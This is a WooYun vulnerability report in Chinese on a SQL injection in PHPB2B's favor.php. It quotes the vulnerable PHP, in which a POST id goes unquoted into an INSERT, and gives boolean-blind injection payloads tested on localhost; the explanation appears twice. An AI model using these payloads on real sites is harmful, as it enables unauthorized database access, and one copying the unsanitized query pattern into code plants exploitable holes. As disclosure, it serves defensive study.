当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090298

漏洞标题:PHPB2B某处sql注入#5

相关厂商:phpb2b.com

漏洞作者: Th1nk

提交时间:2015-01-07 12:44

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-07: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向第三方安全合作伙伴开放
2015-03-03: 细节向核心白帽子及相关领域专家公开
2015-03-13: 细节向普通白帽子公开
2015-03-23: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

PHPB2B某处sql注入#5

详细说明:

官网下载的最新版本
PHPB2B某处sql注入
virtual-office/favor.php
25-45行

if(isset($_POST['do']) && isset($_POST['id'])){
//check limit
$type_id = 1;
$f_limit = $pdb->GetOne($sql = "SELECT count(id) FROM {$tb_prefix}favorites WHERE type_id='".$type_id."' AND member_id=".$the_memberid);
if ($trade_model->checkExist($_POST['id'])) {
if ($g['max_favorite']==0 or $g['max_favorite']>$f_limit) {
$sql = "INSERT INTO {$tb_prefix}favorites (target_id,member_id,type_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$type_id.",".$time_stamp.",".$time_stamp.")";
$result = $pdb->Execute($sql);
}else{
flash("post_max");
}
}else{
flash("data_not_exists");
}
if($result){
echo "<script language='javascript'>window.close();</script>";
exit;
}else {
flash("been_favorited", '', 0);
}
}


$sql = "INSERT INTO {$tb_prefix}favorites (target_id,member_id,type_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$type_id.",".$time_stamp.",".$time_stamp.")";


这一行,直接把post传递过来的id带入执行,也没有加单引号,导致注入产生。
因为表中各个字段的类型都是int型,不能写数据,还是盲注吧。
来个逻辑盲注。
url:
localhost/phpb2b/virtual-office/favor.php
post传递
do=1&id=12,3,1,(if(1=1,1,0)),1)%23
提交后一片空白。
然后直接访问localhost/phpb2b/virtual-office/favor.php
注意看时间

1.png


这是逻辑真的情况。
然后我们把这条收藏再删除。
接着post提交
do=1&id=12,3,1,(if(1=2,1,0)),1)%23

1.png


再看结果,时间变成了当前时间。
所以,根据回显结果的不同,就可以注入啦。
原理讲明白了。剩下的就不多说啦~

漏洞证明:

官网下载的最新版本
PHPB2B某处sql注入
virtual-office/favor.php
25-45行

if(isset($_POST['do']) && isset($_POST['id'])){
//check limit
$type_id = 1;
$f_limit = $pdb->GetOne($sql = "SELECT count(id) FROM {$tb_prefix}favorites WHERE type_id='".$type_id."' AND member_id=".$the_memberid);
if ($trade_model->checkExist($_POST['id'])) {
if ($g['max_favorite']==0 or $g['max_favorite']>$f_limit) {
$sql = "INSERT INTO {$tb_prefix}favorites (target_id,member_id,type_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$type_id.",".$time_stamp.",".$time_stamp.")";
$result = $pdb->Execute($sql);
}else{
flash("post_max");
}
}else{
flash("data_not_exists");
}
if($result){
echo "<script language='javascript'>window.close();</script>";
exit;
}else {
flash("been_favorited", '', 0);
}
}


$sql = "INSERT INTO {$tb_prefix}favorites (target_id,member_id,type_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$type_id.",".$time_stamp.",".$time_stamp.")";


这一行,直接把post传递过来的id带入执行,也没有加单引号,导致注入产生。
因为表中各个字段的类型都是int型,不能写数据,还是盲注吧。
来个逻辑盲注。
url:
localhost/phpb2b/virtual-office/favor.php
post传递
do=1&id=12,3,1,(if(1=1,1,0)),1)%23
提交后一片空白。
然后直接访问localhost/phpb2b/virtual-office/favor.php
注意看时间

1.png


这是逻辑真的情况。
然后我们把这条收藏再删除。
接着post提交
do=1&id=12,3,1,(if(1=2,1,0)),1)%23

1.png


再看结果,时间变成了当前时间。
所以,根据回显结果的不同,就可以注入啦。
原理讲明白了。剩下的就不多说啦~

修复方案:

过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-07 23:45

厂商回复:

漏洞已修复

最新状态:

暂无